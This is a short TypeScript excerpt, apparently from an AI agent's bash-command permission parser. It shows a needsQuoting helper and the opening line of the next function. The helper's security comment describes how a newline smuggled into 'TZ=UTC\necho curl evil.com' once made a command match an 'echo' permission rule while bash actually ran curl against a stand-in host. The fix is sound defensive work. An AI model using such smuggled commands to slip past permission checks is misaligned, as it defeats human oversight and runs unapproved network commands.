Function needsQuoting

src/utils/bash/commands.ts:1171–1187

(str: string)

// Helper: Check if string needs quoting
function needsQuoting(str: string): boolean {
  // Don't quote file descriptor redirects (e.g., '2>', '2>>', '1>', etc.)
  if (/^\d+>>?$/.test(str)) return false

  // Quote strings containing ANY whitespace (space, tab, newline, CR, etc.).
  // SECURITY: Must match ALL characters that the regex `\s` class matches.
  // Previously only checked space/tab; downstream consumers like ENV_VAR_PATTERN
  // use `\s+`. If reconstructCommand emits unquoted `\n` or `\r`, stripSafeWrappers
  // matches across it, stripping `TZ=UTC` from `TZ=UTC\necho curl evil.com` —
  // matching `Bash(echo:*)` while bash word-splits on the newline and runs `curl`.
  if (/\s/.test(str)) return true

  // Single-character shell operators need quoting to avoid ambiguity
  if (str.length === 1 && '><|&;()'.includes(str)) return true

  return false
}

// Helper: Add token with appropriate spacing
function addToken(result: string, token: string, noSpace = false): string {